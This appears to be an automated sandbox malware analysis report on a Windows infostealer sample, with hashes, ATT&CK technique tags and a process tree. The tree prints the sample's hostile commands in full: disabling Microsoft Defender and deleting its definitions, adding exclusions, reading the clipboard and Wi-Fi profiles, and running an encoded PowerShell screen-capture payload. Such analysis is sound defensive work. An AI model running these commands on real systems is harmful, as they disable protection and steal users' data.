b5fa107e0f85a3a7653dfefb730d558fb88a4c3740b8790ee73dc93ec22150b2

Analysis

max time kernel
149s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 18:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
emu fucked.exe
Size 10.4MB
Sample260925-w8a55agg85
SHA256 b5fa107e0f85a3a7653dfefb730d558fb88a4c3740b8790ee73dc93ec22150b2
MD5 74ac545b63f5379c6652a8de859e6268
SHA1 68265815cb3c1c64f7eb88e386fd42ee3f7875a3
SHA512 24b30b7691e6e0513122a9933c1a02b3130b8366ebb0dacb82f423702f7f526bba54f774820494a257c23dd3d8e99a845a3cb981139b309cfc34cf020a80bc98
SSDEEP 196608:uePVbjw2hrP7C4JG4+NVlTjat7tPGB/ihrAyrXk7GPfF8bfTfQ3LZapK4Dfrtw9f:ueNbUq+4kjjatZ+/yNrXk7GPfF8bfTv0
TLSH
T18DB63315A69404F7FAE25979DA659526EBF1B8214FB08ECF07A443142E336F09C7E332
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
3240	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
476	powershell.exe
6000	powershell.exe
6068	powershell.exe
3336	powershell.exe
2712	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
6068	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
988	powershell.exe
700	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
5464	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe
4084	emu fucked.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
12	discord.com

Enumerates connected drives 3 TTPs 9 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
9	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4572	tasklist.exe
1188	tasklist.exe
2816	tasklist.exe

UPX packed file 62 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c45a-68.dat	upx
behavioral2/memory/4084-72-0x00007FFFBDB30000-0x00007FFFBE19F000-memory.dmp	upx
behavioral2/memory/4084-77-0x00007FFFD1EE0000-0x00007FFFD1F07000-memory.dmp	upx
behavioral2/files/0x000d00000001c457-78.dat	upx
behavioral2/memory/4084-79-0x00007FFFD1ED0000-0x00007FFFD1EDF000-memory.dmp	upx
behavioral2/memory/4084-85-0x00007FFFC9B00000-0x00007FFFC9B2B000-memory.dmp	upx
behavioral2/files/0x000d00000001c40c-84.dat	upx
behavioral2/memory/4084-83-0x00007FFFD1360000-0x00007FFFD1379000-memory.dmp	upx
behavioral2/memory/4084-89-0x00007FFFD1910000-0x00007FFFD191D000-memory.dmp	upx
behavioral2/files/0x000d00000001c40b-94.dat	upx
behavioral2/memory/4084-97-0x00007FFFC9AE0000-0x00007FFFC9AF6000-memory.dmp	upx
behavioral2/files/0x000d00000001c456-98.dat	upx
behavioral2/memory/4084-99-0x00007FFFBD5F0000-0x00007FFFBDB24000-memory.dmp	upx
behavioral2/memory/4084-92-0x00007FFFD1350000-0x00007FFFD135F000-memory.dmp	upx
behavioral2/files/0x000d00000001c421-90.dat	upx
behavioral2/files/0x000d00000001c40e-87.dat	upx
behavioral2/files/0x000d00000001c408-81.dat	upx
behavioral2/files/0x000d00000001c409-75.dat	upx
behavioral2/files/0x000d00000001c40f-100.dat	upx
behavioral2/files/0x000d00000001c45d-102.dat	upx
behavioral2/memory/4084-103-0x00007FFFC9A90000-0x00007FFFC9AAA000-memory.dmp	upx
behavioral2/files/0x000d00000001c411-105.dat	upx
behavioral2/memory/4084-107-0x00007FFFD10B0000-0x00007FFFD10BD000-memory.dmp	upx
behavioral2/memory/4084-111-0x00007FFFC4BF0000-0x00007FFFC4C23000-memory.dmp	upx
behavioral2/files/0x000d00000001c458-112.dat	upx
behavioral2/memory/4084-113-0x00007FFFC2A20000-0x00007FFFC2AEE000-memory.dmp	upx
behavioral2/memory/4084-110-0x00007FFFD1EE0000-0x00007FFFD1F07000-memory.dmp	upx
behavioral2/memory/4084-106-0x00007FFFBDB30000-0x00007FFFBE19F000-memory.dmp	upx
behavioral2/files/0x000d00000001c410-119.dat	upx
behavioral2/memory/4084-122-0x00007FFFC9AB0000-0x00007FFFC9AD5000-memory.dmp	upx
behavioral2/files/0x000d00000001c463-121.dat	upx
behavioral2/memory/4084-124-0x00007FFFC0750000-0x00007FFFC08DA000-memory.dmp	upx
behavioral2/files/0x000d00000001c465-127.dat	upx
behavioral2/memory/4084-130-0x00007FFFB7AD0000-0x00007FFFB7B84000-memory.dmp	upx
behavioral2/memory/4084-129-0x00007FFFD1350000-0x00007FFFD135F000-memory.dmp	upx
behavioral2/memory/4084-162-0x00007FFFC9AE0000-0x00007FFFC9AF6000-memory.dmp	upx
behavioral2/memory/4084-168-0x00007FFFBD5F0000-0x00007FFFBDB24000-memory.dmp	upx
behavioral2/memory/4084-227-0x00007FFFC4BF0000-0x00007FFFC4C23000-memory.dmp	upx
behavioral2/memory/4084-254-0x00007FFFC2A20000-0x00007FFFC2AEE000-memory.dmp	upx
behavioral2/memory/4084-253-0x00007FFFB7AD0000-0x00007FFFB7B84000-memory.dmp	upx
behavioral2/memory/4084-252-0x00007FFFC0750000-0x00007FFFC08DA000-memory.dmp	upx
behavioral2/memory/4084-238-0x00007FFFBDB30000-0x00007FFFBE19F000-memory.dmp	upx
behavioral2/memory/4084-251-0x00007FFFC9AB0000-0x00007FFFC9AD5000-memory.dmp	upx
behavioral2/memory/4084-289-0x00007FFFC0750000-0x00007FFFC08DA000-memory.dmp	upx
behavioral2/memory/4084-314-0x00007FFFBDB30000-0x00007FFFBE19F000-memory.dmp	upx
behavioral2/memory/4084-328-0x00007FFFC0750000-0x00007FFFC08DA000-memory.dmp	upx
behavioral2/memory/4084-332-0x00007FFFD1ED0000-0x00007FFFD1EDF000-memory.dmp	upx
behavioral2/memory/4084-336-0x00007FFFD1350000-0x00007FFFD135F000-memory.dmp	upx
behavioral2/memory/4084-341-0x00007FFFC4BF0000-0x00007FFFC4C23000-memory.dmp	upx
behavioral2/memory/4084-343-0x00007FFFC9AB0000-0x00007FFFC9AD5000-memory.dmp	upx
behavioral2/memory/4084-345-0x00007FFFB7AD0000-0x00007FFFB7B84000-memory.dmp	upx
behavioral2/memory/4084-344-0x00007FFFC0750000-0x00007FFFC08DA000-memory.dmp	upx
behavioral2/memory/4084-342-0x00007FFFC2A20000-0x00007FFFC2AEE000-memory.dmp	upx
behavioral2/memory/4084-340-0x00007FFFD10B0000-0x00007FFFD10BD000-memory.dmp	upx
behavioral2/memory/4084-338-0x00007FFFBD5F0000-0x00007FFFBDB24000-memory.dmp	upx
behavioral2/memory/4084-337-0x00007FFFC9AE0000-0x00007FFFC9AF6000-memory.dmp	upx
behavioral2/memory/4084-335-0x00007FFFD1910000-0x00007FFFD191D000-memory.dmp	upx
behavioral2/memory/4084-339-0x00007FFFC9A90000-0x00007FFFC9AAA000-memory.dmp	upx
behavioral2/memory/4084-334-0x00007FFFC9B00000-0x00007FFFC9B2B000-memory.dmp	upx
behavioral2/memory/4084-333-0x00007FFFD1360000-0x00007FFFD1379000-memory.dmp	upx
behavioral2/memory/4084-330-0x00007FFFBDB30000-0x00007FFFBE19F000-memory.dmp	upx
behavioral2/memory/4084-331-0x00007FFFD1EE0000-0x00007FFFD1F07000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5872	cmd.exe
1068	cmd.exe
5172	cmd.exe
2132	cmd.exe
5136	cmd.exe
3580	cmd.exe
3512	cmd.exe
2420	cmd.exe
1348	cmd.exe
3364	cmd.exe
4512	cmd.exe
5916	cmd.exe
4476	cmd.exe
5844	cmd.exe
5704	cmd.exe
4544	cmd.exe
5940	cmd.exe
5588	cmd.exe
2492	cmd.exe
3044	cmd.exe
3108	cmd.exe
1676	cmd.exe
248	cmd.exe
4460	cmd.exe
3696	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	emu fucked.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	emu fucked.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3696	cmd.exe
4924	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2556	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5680	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
6000	powershell.exe
6068	powershell.exe
6000	powershell.exe
6068	powershell.exe
6068	powershell.exe
6000	powershell.exe
476	powershell.exe
476	powershell.exe
5836	WMIC.exe
5836	WMIC.exe
5836	WMIC.exe
5836	WMIC.exe
988	powershell.exe
988	powershell.exe
4224	powershell.exe
4224	powershell.exe
476	powershell.exe
476	powershell.exe
988	powershell.exe
4224	powershell.exe
3336	powershell.exe
3336	powershell.exe
3336	powershell.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe
2900	WMIC.exe
2900	WMIC.exe
2900	WMIC.exe
2900	WMIC.exe
1236	WMIC.exe
1236	WMIC.exe
1236	WMIC.exe
1236	WMIC.exe
4364	WMIC.exe
4364	WMIC.exe
4364	WMIC.exe
4364	WMIC.exe
2712	powershell.exe
2712	powershell.exe
2712	powershell.exe
2556	WMIC.exe
2556	WMIC.exe
2556	WMIC.exe
2556	WMIC.exe
3632	powershell.exe
3632	powershell.exe
3632	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: SeDebugPrivilege	476	powershell.exe
Token: SeDebugPrivilege	2816	tasklist.exe
Token: SeDebugPrivilege	4572	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5836	WMIC.exe
Token: SeSecurityPrivilege	5836	WMIC.exe
Token: SeTakeOwnershipPrivilege	5836	WMIC.exe
Token: SeLoadDriverPrivilege	5836	WMIC.exe
Token: SeSystemProfilePrivilege	5836	WMIC.exe
Token: SeSystemtimePrivilege	5836	WMIC.exe
Token: SeProfSingleProcessPrivilege	5836	WMIC.exe
Token: SeIncBasePriorityPrivilege	5836	WMIC.exe
Token: SeCreatePagefilePrivilege	5836	WMIC.exe
Token: SeBackupPrivilege	5836	WMIC.exe
Token: SeRestorePrivilege	5836	WMIC.exe
Token: SeShutdownPrivilege	5836	WMIC.exe
Token: SeDebugPrivilege	5836	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5836	WMIC.exe
Token: SeRemoteShutdownPrivilege	5836	WMIC.exe
Token: SeUndockPrivilege	5836	WMIC.exe
Token: SeManageVolumePrivilege	5836	WMIC.exe
Token: 33	5836	WMIC.exe
Token: 34	5836	WMIC.exe
Token: 35	5836	WMIC.exe
Token: 36	5836	WMIC.exe
Token: SeDebugPrivilege	988	powershell.exe
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	1188	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5836	WMIC.exe
Token: SeSecurityPrivilege	5836	WMIC.exe
Token: SeTakeOwnershipPrivilege	5836	WMIC.exe
Token: SeLoadDriverPrivilege	5836	WMIC.exe
Token: SeSystemProfilePrivilege	5836	WMIC.exe
Token: SeSystemtimePrivilege	5836	WMIC.exe
Token: SeProfSingleProcessPrivilege	5836	WMIC.exe
Token: SeIncBasePriorityPrivilege	5836	WMIC.exe
Token: SeCreatePagefilePrivilege	5836	WMIC.exe
Token: SeBackupPrivilege	5836	WMIC.exe
Token: SeRestorePrivilege	5836	WMIC.exe
Token: SeShutdownPrivilege	5836	WMIC.exe
Token: SeDebugPrivilege	5836	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5836	WMIC.exe
Token: SeRemoteShutdownPrivilege	5836	WMIC.exe
Token: SeUndockPrivilege	5836	WMIC.exe
Token: SeManageVolumePrivilege	5836	WMIC.exe
Token: 33	5836	WMIC.exe
Token: 34	5836	WMIC.exe
Token: 35	5836	WMIC.exe
Token: 36	5836	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6068	powershell.exe
Token: SeSecurityPrivilege	6068	powershell.exe
Token: SeTakeOwnershipPrivilege	6068	powershell.exe
Token: SeLoadDriverPrivilege	6068	powershell.exe
Token: SeSystemProfilePrivilege	6068	powershell.exe
Token: SeSystemtimePrivilege	6068	powershell.exe
Token: SeProfSingleProcessPrivilege	6068	powershell.exe
Token: SeIncBasePriorityPrivilege	6068	powershell.exe
Token: SeCreatePagefilePrivilege	6068	powershell.exe
Token: SeBackupPrivilege	6068	powershell.exe
Token: SeRestorePrivilege	6068	powershell.exe
Token: SeShutdownPrivilege	6068	powershell.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: SeSystemEnvironmentPrivilege	6068	powershell.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 5196 wrote to memory of 4084	5196	emu fucked.exe	89
PID 4084 wrote to memory of 3108	4084	emu fucked.exe	91
PID 4084 wrote to memory of 3512	4084	emu fucked.exe	92
PID 3108 wrote to memory of 6000	3108	cmd.exe	95
PID 3512 wrote to memory of 6068	3512	cmd.exe	96
PID 4084 wrote to memory of 4476	4084	emu fucked.exe	97
PID 4476 wrote to memory of 476	4476	cmd.exe	99
PID 4084 wrote to memory of 2420	4084	emu fucked.exe	100
PID 4084 wrote to memory of 4460	4084	emu fucked.exe	101
PID 4084 wrote to memory of 5844	4084	emu fucked.exe	104
PID 4084 wrote to memory of 700	4084	emu fucked.exe	106
PID 4084 wrote to memory of 5704	4084	emu fucked.exe	108
PID 4084 wrote to memory of 3696	4084	emu fucked.exe	110
PID 4084 wrote to memory of 5872	4084	emu fucked.exe	109
PID 4084 wrote to memory of 1676	4084	emu fucked.exe	112
PID 2420 wrote to memory of 2816	2420	cmd.exe	114
PID 4084 wrote to memory of 2440	4084	emu fucked.exe	116
PID 4460 wrote to memory of 4572	4460	cmd.exe	119
PID 700 wrote to memory of 988	700	cmd.exe	120
PID 5844 wrote to memory of 5836	5844	cmd.exe	121
PID 5872 wrote to memory of 1796	5872	cmd.exe	122
PID 3696 wrote to memory of 4924	3696	cmd.exe	123
PID 2440 wrote to memory of 4224	2440	cmd.exe	124
PID 1676 wrote to memory of 5680	1676	cmd.exe	125
PID 5704 wrote to memory of 1188	5704	cmd.exe	126
PID 4084 wrote to memory of 1348	4084	emu fucked.exe	128
PID 1348 wrote to memory of 4776	1348	cmd.exe	130
PID 4224 wrote to memory of 6104	4224	powershell.exe	131
PID 6104 wrote to memory of 4568	6104	csc.exe	132
PID 4084 wrote to memory of 4544	4084	emu fucked.exe	133
PID 4544 wrote to memory of 264	4544	cmd.exe	135
PID 4084 wrote to memory of 248	4084	emu fucked.exe	136
PID 248 wrote to memory of 5084	248	cmd.exe	138
PID 4084 wrote to memory of 5940	4084	emu fucked.exe	139
PID 5940 wrote to memory of 4364	5940	cmd.exe	166
PID 4084 wrote to memory of 1068	4084	emu fucked.exe	142
PID 1068 wrote to memory of 2732	1068	cmd.exe	144
PID 4084 wrote to memory of 3364	4084	emu fucked.exe	145
PID 3364 wrote to memory of 3924	3364	cmd.exe	147
PID 3512 wrote to memory of 3240	3512	cmd.exe	148
PID 4084 wrote to memory of 5588	4084	emu fucked.exe	149
PID 5588 wrote to memory of 3336	5588	cmd.exe	151
PID 4084 wrote to memory of 5172	4084	emu fucked.exe	152
PID 5172 wrote to memory of 4056	5172	cmd.exe	154
PID 4084 wrote to memory of 2132	4084	emu fucked.exe	155
PID 2132 wrote to memory of 5464	2132	cmd.exe	157
PID 4084 wrote to memory of 5136	4084	emu fucked.exe	158
PID 5136 wrote to memory of 2900	5136	cmd.exe	160
PID 4084 wrote to memory of 2492	4084	emu fucked.exe	161
PID 2492 wrote to memory of 1236	2492	cmd.exe	163
PID 4084 wrote to memory of 4512	4084	emu fucked.exe	164
PID 4512 wrote to memory of 4364	4512	cmd.exe	166
PID 4084 wrote to memory of 3580	4084	emu fucked.exe	167
PID 3580 wrote to memory of 2712	3580	cmd.exe	169
PID 4084 wrote to memory of 5916	4084	emu fucked.exe	170
PID 5916 wrote to memory of 2556	5916	cmd.exe	172
PID 4084 wrote to memory of 3044	4084	emu fucked.exe	173
PID 3044 wrote to memory of 3632	3044	cmd.exe	175

C:\Users\Admin\AppData\Local\Temp\emu fucked.exe
"C:\Users\Admin\AppData\Local\Temp\emu fucked.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5196
- C:\Users\Admin\AppData\Local\Temp\emu fucked.exe
  "C:\Users\Admin\AppData\Local\Temp\emu fucked.exe"
  2⤵
  - Loads dropped DLL
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\emu fucked.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\emu fucked.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6068
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:3240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2420
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5844
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5704
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5872
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3696
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoA